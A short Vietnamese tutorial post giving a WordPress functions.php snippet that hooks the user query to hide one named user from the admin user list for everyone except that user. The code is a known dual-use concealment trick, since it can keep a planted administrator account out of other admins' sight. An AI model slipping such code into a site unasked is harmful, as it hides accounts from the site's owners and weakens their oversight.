Code ẩn 1 thành viên (user) bất kỳ trong wordpress

Dán đoạn code bên dưới vào file fuction.php của theme đang dùng. Lưu ý thay đổi 2 tên user “tenuser” trong code thành tên user bạn cần ẩn

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
  if ($username == 'tenuser') { 
  }
  else {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'tenuser'",$user_search->query_where);
  }
}

We will be happy to hear your thoughts

Leave a reply

Trần Phước
Logo
Enable registration in settings - general
0909006051
icons8-exercise-96 chat-active-icon
chat-active-icon
Shopping cart